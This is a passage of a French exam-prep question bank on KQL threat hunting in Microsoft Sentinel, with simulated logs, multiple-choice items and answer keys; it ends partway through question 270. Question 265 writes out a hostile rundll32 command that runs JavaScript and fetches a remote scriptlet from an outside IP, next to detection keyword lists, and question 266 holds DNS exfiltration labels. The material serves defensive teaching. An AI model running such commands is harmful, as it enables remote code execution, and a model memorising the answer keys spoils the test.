**Point à retenir pour l'examen :** Changement de pays + faible délai (datetime_diff) = voyage impossible à investiguer.

**Référence officielle**

- datetime_diff() (fonction de différence de date et heure) — https://learn.microsoft.com/fr-fr/kusto/query/datetime-diff-function?view=microsoft-sentinel
- informations_géographiques_depuis_adresse_ip() — https://learn.microsoft.com/fr-fr/kusto/query/geo-info-from-ip-address-function?view=microsoft-sentinel

## Question n° 260 — Lignée de processus rare

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** les couples parent → enfant rares dans le parc méritent une analyse. Sur les données simulées, quel couple est mis en évidence ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Processus = datatable(DeviceName:string, Parent:string, Enfant:string)
[
    "PC-01", "explorer.exe", "chrome.exe",
    "PC-02", "explorer.exe", "chrome.exe",
    "PC-03", "explorer.exe", "chrome.exe",
    "PC-04", "explorer.exe", "outlook.exe",
    "PC-05", "explorer.exe", "outlook.exe",
    "PC-06", "excel.exe", "powershell.exe",
    "PC-01", "services.exe", "svchost.exe",
    "PC-02", "services.exe", "svchost.exe"
];
Processus
| summarize Appareils = dcount(DeviceName) by Parent, Enfant
| where Appareils == 1
```

**A.** services.exe → svchost.exe.

**B.** excel.exe → powershell.exe, observé sur un seul appareil (PC-06).

**C.** explorer.exe → chrome.exe.

**D.** explorer.exe → outlook.exe.

**Bonne réponse : B**

**Correction détaillée**

L'analyse de **prévalence** (« long tail », moindre fréquence) compte le nombre d'appareils par couple parent → enfant ; les couples présents sur un seul appareil sont rares. Ici, **Excel lançant PowerShell** est à la fois rare et caractéristique d'une macro malveillante (T1204.002 + T1059.001).

**Analyse des réponses incorrectes**

- **A.** Observé sur 2 appareils et légitime.
- **C.** Observé sur 3 appareils : couple courant.
- **D.** Observé sur 2 appareils.

**Explication technique**

Sur des données réelles (DeviceProcessEvents), utiliser `InitiatingProcessFileName` et `FileName`, et une fenêtre de 7 à 30 jours. La rareté ne suffit pas : croiser avec la nature du couple (Office → interpréteur, services → cmd…) et la signature des binaires.

**Résultat attendu**

Une ligne : excel.exe | powershell.exe | 1.

**Amélioration proposée**

Ajouter `make_set(DeviceName)` pour lister directement les appareils concernés et `FileProfile()` pour la prévalence mondiale des binaires.

**Point à retenir pour l'examen :** Chasse « long tail » = prévalence faible (dcount d'appareils) + contexte suspect.

**Référence officielle**

- summarize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/summarize-operator?view=microsoft-sentinel
- dcount() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/dcount-aggregation-function?view=microsoft-sentinel

## Question n° 261 — Exfiltration hors norme par utilisateur

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un utilisateur télécharge beaucoup plus que d'habitude. Sur ces données simulées (Mo téléchargés par jour), quel utilisateur dépasse trois fois sa moyenne historique ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Volumes = datatable(Jour:datetime, Utilisateur:string, Mo:real)
[
    datetime(2026-10-01), "lucas", 120.0, datetime(2026-10-02), "lucas", 100.0, datetime(2026-10-03),
"lucas", 140.0, datetime(2026-10-04), "lucas", 130.0,
    datetime(2026-10-01), "emma", 300.0,  datetime(2026-10-02), "emma", 280.0,  datetime(2026-10-03),
"emma", 320.0,  datetime(2026-10-04), "emma", 2900.0
];
let Historique = Volumes | where Jour < datetime(2026-10-04) | summarize Moyenne = avg(Mo) by
Utilisateur;
Volumes
| where Jour == datetime(2026-10-04)
| join kind=inner Historique on Utilisateur
| where Mo > 3 * Moyenne
| project Utilisateur, Mo, Moyenne
```

**A.** Les deux utilisateurs.

**B.** lucas : 130 Mo le 4 octobre.

**C.** emma : 2 900 Mo le 4 octobre contre une moyenne historique de 300 Mo.

**D.** Aucun, car la jointure supprime toutes les lignes.

**Bonne réponse : C**

**Correction détaillée**

On calcule une **référence par utilisateur** (moyenne avant le jour analysé), puis on compare le jour cible : emma (2 900 Mo) dépasse largement 3 × 300 = 900 Mo. Une comparaison **relative à l'individu** évite de signaler les gros consommateurs habituels.

**Analyse des réponses incorrectes**

- **A.** Seule emma dépasse le seuil.
- **B.** Sa moyenne historique est 120 Mo : 130 Mo n'atteint pas 3 × 120.
- **D.** La clé Utilisateur existe des deux côtés.

**Explication technique**

Pour des données réelles : CloudAppEvents (FileDownloaded), OfficeActivity, journaux de proxy (SentBytes/ReceivedBytes), StorageBlobLogs. Les fonctions `percentile()` ou `series_decompose_anomalies()` donnent des références plus robustes que la moyenne.

**Résultat attendu**

emma | 2900 | 300.

**Amélioration proposée**

Croiser avec IdentityInfo (départ prévu, changement de service) et les alertes Insider Risk Management.

**Point à retenir pour l'examen :** Exfiltration : comparer à la référence de chaque utilisateur, pas à un seuil global.

**Référence officielle**

- summarize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/summarize-operator?view=microsoft-sentinel
- percentile(), centiles() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/percentiles-aggregation-function?view=microsoft-sentinel

## Question n° 262 — Mouvement latéral en éventail

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un compte compromis se connecte rapidement à de nombreux serveurs. Que renvoie la requête sur les ouvertures de session réseau simulées ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Logons = datatable(TimeGenerated:datetime, AccountName:string, DeviceName:string,
LogonType:string)
[
    datetime(2026-10-05T13:00:00Z), "svc_sql", "SRV-SQL01", "Network",
    datetime(2026-10-05T13:02:00Z), "j.roux",  "SRV-FIC01", "Network",
    datetime(2026-10-05T13:02:30Z), "j.roux",  "SRV-FIC02", "Network",
    datetime(2026-10-05T13:03:10Z), "j.roux",  "SRV-APP01", "Network",
    datetime(2026-10-05T13:03:40Z), "j.roux",  "SRV-APP02", "Network",
    datetime(2026-10-05T13:04:05Z), "j.roux",  "SRV-DC01",  "Network",
    datetime(2026-10-05T15:00:00Z), "svc_sql", "SRV-SQL01", "Network"
];
Logons
| summarize Cibles = dcount(DeviceName), Liste = make_set(DeviceName) by AccountName,
bin(TimeGenerated, 10m)
| where Cibles >= 4
```

**A.** Aucun compte, car LogonType « Network » est légitime.

**B.** Le compte svc_sql, qui se connecte deux fois au même serveur.

**C.** Les deux comptes.

**D.** Le compte j.roux, qui s'est connecté à 5 serveurs différents (dont un contrôleur de domaine) en un peu plus de 2 minutes.

**Bonne réponse : D**

**Correction détaillée**

Le **nombre de cibles distinctes** par compte et par fenêtre de 10 minutes révèle un **mouvement latéral en éventail** (T1021, outils comme PsExec, WMI, SMB). j.roux touche 5 serveurs, dont **SRV-DC01**, en 2 minutes.

**Analyse des réponses incorrectes**

- **A.** Le type est courant, c'est l'éventail de cibles en peu de temps qui est anormal.
- **B.** Une seule cible distincte : activité de service régulière.

- **C.** svc_sql ne dépasse pas le seuil de 4 cibles distinctes.

**Explication technique**

Sur des données réelles : DeviceLogonEvents (LogonType Network/RemoteInteractive), IdentityLogonEvents (vu par les DC) ou SecurityEvent 4624 type 3. Exclure les comptes d'administration et de supervision connus (scanners, sauvegarde). MDI fournit aussi des alertes de mouvement latéral.

**Résultat attendu**

j.roux | 2026-10-05T13:00 | 5 | [SRV-FIC01, SRV-FIC02, SRV-APP01, SRV-APP02, SRV-DC01].

**Amélioration proposée**

Ajouter `IsLocalAdmin` (DeviceLogonEvents) et prioriser lorsque des contrôleurs de domaine figurent dans la liste.

**Point à retenir pour l'examen :** Mouvement latéral = dcount(cibles) élevé par compte sur une fenêtre courte.

**Référence officielle**

- dcount() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/dcount-aggregation-function?view=microsoft-sentinel
- DeviceLogonEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicelogonevents-table

## Question n° 263 — Renommage massif de fichiers (rançongiciel)

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un rançongiciel chiffre et renomme les fichiers avec une nouvelle extension. Sur les événements simulés, quel appareil et quelle extension la requête signale-t-elle ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Fichiers = datatable(TimeGenerated:datetime, DeviceName:string, ActionType:string,
FileName:string, PreviousFileName:string)
[
    datetime(2026-10-05T22:00:01Z), "SRV-FIC01", "FileRenamed", "budget.xlsx.lockx", "budget.xlsx",
    datetime(2026-10-05T22:00:01Z), "SRV-FIC01", "FileRenamed", "rh.docx.lockx", "rh.docx",
    datetime(2026-10-05T22:00:02Z), "SRV-FIC01", "FileRenamed", "plan.pdf.lockx", "plan.pdf",
    datetime(2026-10-05T22:00:02Z), "SRV-FIC01", "FileRenamed", "photo.jpg.lockx", "photo.jpg",
    datetime(2026-10-05T22:00:03Z), "SRV-FIC01", "FileRenamed", "contrat.docx.lockx", "contrat.docx",
    datetime(2026-10-05T09:15:00Z), "PC-08", "FileRenamed", "rapport_v2.docx", "rapport.docx"
];
Fichiers
| where ActionType == "FileRenamed"
| extend NouvelleExt = tostring(split(FileName, ".")[-1]), AncienneExt =
tostring(split(PreviousFileName, ".")[-1])
| where NouvelleExt != AncienneExt
| summarize Fichiers = count() by DeviceName, NouvelleExt, bin(TimeGenerated, 1m)
| where Fichiers >= 5
```

**A.** SRV-FIC01 avec l'extension « lockx » : 5 fichiers renommés en moins d'une minute.

**B.** PC-08 avec l'extension « docx ».

**C.** Aucun appareil, car `split()` renvoie une chaîne.

**D.** SRV-FIC01 avec l'extension « xlsx ».

**Bonne réponse : A**

**Correction détaillée**

**split(texte, ".")** renvoie un tableau ; **[-1]** désigne son dernier élément (l'extension). Un grand nombre de renommages vers une **nouvelle extension commune** en très peu de temps est la signature d'un chiffrement par rançongiciel (T1486).

**Analyse des réponses incorrectes**

- **B.** L'extension ne change pas (docx → docx) et un seul fichier est concerné.
- **C.** `split()` renvoie un tableau ; l'index `[-1]` prend le dernier élément.
- **D.** « xlsx » est l'ancienne extension ; la nouvelle est « lockx ».

**Explication technique**

MDE détecte nativement ce comportement (alertes rançongiciel) et l'accès contrôlé aux dossiers peut le bloquer. Sur des données réelles (DeviceFileEvents), regarder aussi le processus initiateur et la création de notes de rançon (`*.txt` identiques dans de nombreux dossiers).

**Résultat attendu**

SRV-FIC01 | lockx | 2026-10-05T22:00 | 5.

**Amélioration proposée**

Ajouter `InitiatingProcessFileName` et `InitiatingProcessAccountName` dans le regroupement pour identifier le processus chiffreur et lancer l'isolement automatique.

**Point à retenir pour l'examen :** Rançongiciel = renommages massifs vers une extension commune en peu de temps (split()[-1]).

**Référence officielle**

- summarize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/summarize-operator?view=microsoft-sentinel
- DeviceFileEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicefileevents-table

## Question n° 264 — Kerberoasting dans des événements 4769

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un compte demande des tickets de service RC4 pour de nombreux SPN. Que renvoie la requête sur les événements simulés ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Tickets = datatable(TimeGenerated:datetime, TargetUserName:string, ServiceName:string,
TicketEncryptionType:string)
[
    datetime(2026-10-05T11:00:00Z), "m.blanc@CONTOSO.LOCAL", "MSSQLSvc-sql01", "0x17",
    datetime(2026-10-05T11:00:01Z), "m.blanc@CONTOSO.LOCAL", "HTTP-web01",     "0x17",
    datetime(2026-10-05T11:00:01Z), "m.blanc@CONTOSO.LOCAL", "svc_backup",     "0x17",
    datetime(2026-10-05T11:00:02Z), "m.blanc@CONTOSO.LOCAL", "svc_report",     "0x17",
    datetime(2026-10-05T11:00:02Z), "m.blanc@CONTOSO.LOCAL", "svc_crm",        "0x17",
    datetime(2026-10-05T11:30:00Z), "p.henry@CONTOSO.LOCAL", "HTTP-web01",     "0x12"
];
Tickets
| where TicketEncryptionType == "0x17"
| summarize Services = dcount(ServiceName), Liste = make_set(ServiceName) by TargetUserName,
bin(TimeGenerated, 5m)
| where Services >= 5
```

**A.** p.henry@CONTOSO.LOCAL.

**B.** Aucun, car 0x17 correspond à AES.

**C.** m.blanc@CONTOSO.LOCAL, qui a demandé en 2 secondes des tickets RC4 (0x17) pour 5 services différents.

**D.** Les deux comptes.

**Bonne réponse : C**

**Correction détaillée**

Dans l'événement **4769**, `TicketEncryptionType = 0x17` indique **RC4-HMAC**, type privilégié par les attaquants car plus rapide à casser hors ligne. De nombreuses demandes RC4 pour des services distincts

en quelques secondes signent un **Kerberoasting** (T1558.003).

**Analyse des réponses incorrectes**

- **A.** Un seul ticket, chiffré en AES256 (0x12) : comportement normal.
- **B.** 0x17 correspond à RC4-HMAC ; 0x11/0x12 sont AES128/AES256.
- **D.** p.henry est exclu par le filtre sur le type de chiffrement et le seuil.

**Explication technique**

Dans SecurityEvent réel, les champs de 4769 se trouvent dans EventData selon la collecte ; sur un environnement AES-only, les demandes RC4 sont d'autant plus suspectes. MDI fournit des alertes natives de reconnaissance SPN/Kerberoasting.

**Résultat attendu**

m.blanc@CONTOSO.LOCAL | 11:00 | 5 | [MSSQLSvc-sql01, HTTP-web01, svc_backup, svc_report, svc_crm].

**Hypothèses liées au schéma de données**

Le jeu simulé expose TicketEncryptionType comme colonne ; dans SecurityEvent réel, ce champ peut devoir être extrait de EventData selon le schéma de collecte.

**Amélioration proposée**

Exclure les comptes machine (se terminant par $) et les services n'acceptant que RC4 documentés.

**Point à retenir pour l'examen :** Kerberoasting = 4769 RC4 (0x17) massifs pour des SPN distincts par un même compte.

**Référence officielle**

- Événement de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityevent
- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview

## Question n° 265 — Exécution de JavaScript via rundll32

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** des binaires système sont détournés pour exécuter du script (T1218). Quelle ligne simulée est signalée par la requête ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Proc = datatable(DeviceName:string, FileName:string, ProcessCommandLine:string)
[
    "PC-31", "rundll32.exe", "rundll32.exe shell32.dll,Control_RunDLL desk.cpl",
    "PC-44", "rundll32.exe", "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication
\";document.write();GetObject(\"script:http://198.51.100.9/a.sct\")",
    "PC-12", "mshta.exe",    "mshta.exe C:\\Program Files\\App\\aide.hta"
];
Proc
| where FileName in~ ("rundll32.exe", "mshta.exe", "regsvr32.exe")
| where ProcessCommandLine has_any ("javascript:", "vbscript:", "script:http", "RunHTMLApplication")
| project DeviceName, FileName, ProcessCommandLine
```

**A.** Les trois lignes, car les trois binaires sont des LOLBins.

**B.** La ligne de PC-31 : rundll32 ouvrant un panneau de configuration.

**C.** La ligne de PC-12 : mshta lançant une aide HTA locale.

**D.** La ligne de PC-44 : rundll32.exe exécutant du JavaScript via mshtml et chargeant un scriptlet distant.

**Bonne réponse : D**

**Correction détaillée**

**rundll32 javascript:...RunHTMLApplication** et **GetObject("script:http...")** sont des techniques de proxy d'exécution (T1218.011) permettant de lancer du code script sans fichier sur disque et de télécharger des scriptlets (.sct).

**Analyse des réponses incorrectes**

- **A.** Le second filtre exige un indicateur d'exécution de script.
- **B.** Usage légitime (Control_RunDLL d'un fichier .cpl), sans terme recherché.
- **C.** Aucun des termes recherchés n'apparaît ; à surveiller, mais non retenu par cette requête.

**Explication technique**

`has_any` gère plusieurs indicateurs ; les antislashs et guillemets du jeu simulé sont échappés dans la datatable. Des règles ASR et la protection réseau complètent la défense. MDE dispose d'alertes natives pour ces abus de binaires signés.

**Résultat attendu**

PC-44 | rundll32.exe | (ligne de commande malveillante).

**Amélioration proposée**

Ajouter regsvr32 `/i:http` (Squiblydoo, T1218.010) et mshta avec URL distante (T1218.005).

**Point à retenir pour l'examen :** LOLBins (rundll32, mshta, regsvr32) + javascript:/script:http = exécution détournée (T1218).

**Référence officielle**

- has, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/has-operator?view=microsoft-sentinel
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 266 — Tunnel DNS par longueur de sous-domaine

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** des données sont exfiltrées par des requêtes DNS à longs sous-domaines. Sur les requêtes simulées, quel domaine est signalé ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Dns = datatable(TimeGenerated:datetime, ClientIP:string, Name:string)
[
    datetime(2026-10-05T10:00:00Z), "10.0.4.25",
"4a6f75726e616c2d636f6d707461626c652d32303236.x7.exfil-data.net",
    datetime(2026-10-05T10:00:01Z), "10.0.4.25",
"6d6f74732d64652d70617373652d61646d696e2d7631.x8.exfil-data.net",
    datetime(2026-10-05T10:00:02Z), "10.0.4.25",
"636c69656e74732d7072656d69756d2d6c697374652d.x9.exfil-data.net",
    datetime(2026-10-05T10:05:00Z), "10.0.4.30", "www.contoso.com",
    datetime(2026-10-05T10:06:00Z), "10.0.4.31", "login.microsoftonline.com"
];
Dns
| extend Parties = split(Name, ".")
| extend Domaine = strcat(tostring(Parties[-2]), ".", tostring(Parties[-1])), LongueurSousDomaine =
strlen(tostring(Parties[0]))
| summarize Requetes = count(), LongueurMoy = avg(LongueurSousDomaine), SousDomaines = dcount(Name) by
ClientIP, Domaine
| where LongueurMoy > 30 and SousDomaines >= 3
```

**A.** microsoftonline.com.

**B.** exfil-data.net, interrogé par 10.0.4.25 avec des sous-domaines d'environ 44 caractères, tous différents.

**C.** Aucun, car `split` ne fonctionne pas sur les noms de domaine.

**D.** contoso.com.

**Bonne réponse : B**

### Correction détaillée

Le **tunnel DNS** (T1071.004, T1048) encode des données dans les sous-domaines : labels longs (ici des chaînes hexadécimales de 44 caractères), forte cardinalité de noms uniques et un même domaine parent. La requête extrait le domaine enregistré (deux derniers labels) et la longueur du premier label.

### Analyse des réponses incorrectes

- **A.** Sous-domaine court (« login ») et une seule requête.
- **C.** `split` découpe toute chaîne selon le séparateur.
- **D.** Sous-domaine court (« www ») et une seule requête.

### Explication technique

Sur des données réelles : DnsEvents (serveurs DNS Windows), journaux DNS d'Azure Firewall, DeviceEvents (DnsQueryResponse), ASIM `_Im_Dns`. Le calcul « deux derniers labels » est approximatif pour les suffixes comme .co.uk : utiliser une liste de suffixes publics si besoin. Le décodage hexadécimal des labels révèle souvent le contenu exfiltré (ici « Journal-comptable-2026 »...).

### Résultat attendu

10.0.4.25 | exfil-data.net | 3 | ≈ 44 | 3.

### Amélioration proposée

Ajouter un calcul d'entropie ou la proportion de caractères hexadécimaux, et la rareté du domaine dans l'organisation.

**Point à retenir pour l'examen :** Tunnel DNS = sous-domaines longs et uniques vers un même domaine parent.

### Référence officielle

- split() — https://learn.microsoft.com/fr-fr/kusto/query/split-function?view=microsoft-sentinel
- summarize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/summarize-operator?view=microsoft-sentinel

## Question n° 267 — Règle de boîte de réception de dissimulation

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un attaquant masque des réponses de la victime en déplaçant certains messages vers un dossier peu consulté. Quelle règle simulée est signalée ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Regles = datatable(TimeGenerated:datetime, UserId:string, Operation:string, Parameters:string)
[
    datetime(2026-10-05T07:10:00Z), "f.garnier@contoso.com", "New-InboxRule",
"Name=Factures;From=compta@fournisseur.fr;MoveToFolder=Factures",
    datetime(2026-10-05T07:12:00Z), "s.lambert@contoso.com", "New-InboxRule",
"Name=..;SubjectContainsWords=virement,facture,RIB;MoveToFolder=RSS Feeds;MarkAsRead=True",
    datetime(2026-10-05T08:00:00Z), "t.noel@contoso.com",    "Set-Mailbox",   "AutoReplyState=Enabled"
];
Regles
| where Operation in ("New-InboxRule", "Set-InboxRule")
| where Parameters has_any ("RSS Feeds", "Conversation History", "DeleteMessage", "MarkAsRead=True")
| project TimeGenerated, UserId, Parameters
```

**A.** L'opération de t.noel : réponse automatique.

**B.** La règle de f.garnier : classement des factures d'un fournisseur.

**C.** La règle de s.lambert : nom « .. », mots-clés financiers, déplacement vers « RSS Feeds » et marquage comme lu.

**D.** Les trois opérations.

**Bonne réponse : C**

### Correction détaillée

Les règles malveillantes de **dissimulation** (T1564.008) ont des noms courts ou absurdes (« .. », « . »), ciblent des mots-clés financiers et déplacent les messages vers des dossiers rarement consultés (**RSS Feeds**, **Conversation History**, Archive) ou les suppriment/marquent comme lus — typique de la fraude au virement (BEC).

### Analyse des réponses incorrectes

- **A.** Ce n'est pas une règle de boîte de réception et elle n'est pas filtrée.
- **B.** Règle métier plausible, sans indicateur de dissimulation.
- **D.** Seule une opération remplit les deux conditions.

### Explication technique

Les paramètres réels de OfficeActivity sont au format JSON (tableau Name/Value) : `has_any` fonctionne aussi bien sur ce texte. MDCA détecte « Suspicious inbox manipulation rule ». Réponse : supprimer la règle, réinitialiser l'accès, rechercher les échanges financiers interceptés.

### Résultat attendu

s.lambert@contoso.com avec les paramètres de la règle.

### Amélioration proposée

Ajouter la détection de règles sans nom ou d'un seul caractère via `extract(@"Name=([^;]*)", 1, Parameters)`.

**Point à retenir pour l'examen :** Règle cachée = nom court + mots-clés financiers + RSS Feeds / suppression / lu.

### Référence officielle

- Activité de Bureau — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/officeactivity
- has, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/has-operator?view=microsoft-sentinel

## Question n° 268 — Effacement de journaux et arrêt de service

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un attaquant efface ses traces avant de quitter un serveur. Sur ces événements simulés, quel serveur présente la séquence « arrêt de l'audit puis effacement » ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Evts = datatable(TimeGenerated:datetime, Computer:string, EventID:int, Account:string)
[
    datetime(2026-10-05T03:10:00Z), "SRV-APP02", 4719, "CONTOSO\\adm_tmp",
    datetime(2026-10-05T03:11:30Z), "SRV-APP02", 1102, "CONTOSO\\adm_tmp",
    datetime(2026-10-05T10:00:00Z), "SRV-SQL01", 4624, "CONTOSO\\svc_sql",
    datetime(2026-10-05T11:00:00Z), "SRV-FIC01", 1102, "CONTOSO\\admin.it"
];
Evts
| where EventID in (4719, 1102)
| summarize Evenements = make_set(EventID), Debut = min(TimeGenerated), Fin = max(TimeGenerated) by
Computer, Account
| where set_has_element(Evenements, 4719) and set_has_element(Evenements, 1102)
```

**A.** SRV-APP02, avec modification de la stratégie d'audit (4719) puis effacement du journal (1102) par CONTOSO\adm_tmp en 90 secondes.

**B.** Aucun serveur, car `set_has_element` n'accepte pas d'entiers.

**C.** SRV-FIC01.

**D.** SRV-SQL01.

**Bonne réponse : A**

### Correction détaillée

La combinaison **4719** (stratégie d'audit modifiée) + **1102** (journal effacé) par un même compte sur un même serveur, en quelques minutes, constitue une séquence anti-forensique forte (T1562.002 + T1070.001). `make_set` + `set_has_element` vérifie la présence des deux événements.

### Analyse des réponses incorrectes

- **B.** La fonction teste l'appartenance de toute valeur scalaire.
- **C.** Un effacement isolé (1102) par un administrateur : à vérifier, mais la séquence complète n'y figure pas.
- **D.** 4624 est une ouverture de session réussie ordinaire.

### Explication technique

Même si l'attaquant efface le journal local, les événements déjà **collectés par AMA** sont conservés dans Sentinel : c'est un intérêt majeur de la centralisation. Un compte « adm_tmp » mérite une vérification de création récente (4720).

### Résultat attendu

SRV-APP02 | CONTOSO\adm_tmp | [4719, 1102] | 03:10 | 03:11:30.

### Amélioration proposée

Corréler avec la création du compte (4720) et l'arrêt de l'agent (absence de Heartbeat).

> **Point à retenir pour l'examen :** 4719 puis 1102 par le même compte = effacement de traces ; la centralisation SIEM préserve les preuves.

### Référence officielle

- in~, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/in-operator?view=microsoft-sentinel
- Événement de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityevent

## Question n° 269 — Ajout puis retrait rapide d'un administrateur

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un attaquant s'ajoute brièvement au groupe Admins du domaine pour agir puis se retire. Que renvoie la requête sur ces événements simulés ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Groupes = datatable(TimeGenerated:datetime, EventID:int, MemberName:string, TargetUserName:string)
[
    datetime(2026-10-05T01:00:00Z), 4728, "CN=helpdesk02,OU=IT,DC=contoso,DC=local", "Domain Admins",
    datetime(2026-10-05T01:14:00Z), 4729, "CN=helpdesk02,OU=IT,DC=contoso,DC=local", "Domain Admins",
    datetime(2026-10-03T09:00:00Z), 4728, "CN=admin.paul,OU=IT,DC=contoso,DC=local", "Domain Admins"
];
let Ajouts = Groupes | where EventID == 4728 | project Ajout = TimeGenerated, MemberName,
TargetUserName;
let Retraits = Groupes | where EventID == 4729 | project Retrait = TimeGenerated, MemberName,
TargetUserName;
Ajouts
| join kind=inner Retraits on MemberName, TargetUserName
| extend DureeMinutes = datetime_diff("minute", Retrait, Ajout)
| where DureeMinutes between (0 .. 60)
| project MemberName, TargetUserName, Ajout, Retrait, DureeMinutes
```

**A.** Aucun, car 4729 n'existe pas.

**B.** helpdesk02, ajouté au groupe Domain Admins puis retiré 14 minutes plus tard.

**C.** Les deux comptes.

**D.** admin.paul.

**Bonne réponse : B**

### Correction détaillée

**4728** (membre ajouté à un groupe global) et **4729** (membre retiré) rapprochés de quelques minutes pour un groupe à privilèges révèlent une **élévation temporaire** destinée à agir sans laisser d'appartenance durable (T1098).

### Analyse des réponses incorrectes

- **A.** 4729 correspond au retrait d'un membre d'un groupe global de sécurité.
- **C.** Seul helpdesk02 possède un ajout et un retrait rapprochés.
- **D.** Ajouté sans retrait : il n'apparaît pas dans la jointure avec les retraits.

### Explication technique

Les groupes universels utilisent 4756/4757 et les groupes locaux 4732/4733. Defender for Identity détecte aussi les modifications de groupes sensibles (IdentityDirectoryEvents). Investiguer ce que le compte a fait pendant la fenêtre (connexions aux DC, modifications de GPO, DCSync).

### Résultat attendu

helpdesk02 | Domain Admins | 01:00 | 01:14 | 14.

### Amélioration proposée

Étendre aux groupes Enterprise Admins, Schema Admins, Administrators et aux rôles Entra (AuditLogs « Add member to role » / « Remove member from role »).

**Point à retenir pour l'examen :** Ajout puis retrait rapide d'un groupe sensible = élévation temporaire à investiguer.

### Référence officielle

- Événement de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityevent
- datetime_diff() (fonction de différence de date et heure) — https://learn.microsoft.com/fr-fr/kusto/query/datetime-diff-function?view=microsoft-sentinel

## Question n° 270 — Activité administrative hors heures ouvrées

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** des opérations Azure sensibles ont lieu la nuit ou le week-end. Quelles opérations simulées sont retenues ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Ops = datatable(TimeGenerated:datetime, Caller:string, OperationNameValue:string)
[
    datetime(2026-10-05T02:30:00Z), "ops.admin@contoso.com",
"MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION",
    datetime(2026-10-06T10:00:00Z), "ops.admin@contoso.com",
"MICROSOFT.COMPUTE/VIRTUALMACHINES/START/ACTION",
    datetime(2026-10-04T15:00:00Z), "dev.user@contoso.com",
"MICROSOFT.STORAGE/STORAGEACCOUNTS/LISTKEYS/ACTION"
];
Ops
| extend Heure = hourofday(TimeGenerated), Jour = dayofweek(TimeGenerated) / 1d
| where Heure < 7 or Heure >= 20 or Jour in (0, 6)
| project TimeGenerated, Caller, OperationNameValue, Heure, Jour
```

**A.** Les trois opérations.

**B.** Uniquement le démarrage de VM du mardi 6 octobre à 10 h.

**C.** Aucune, car dayofweek() renvoie le nom du jour en texte.

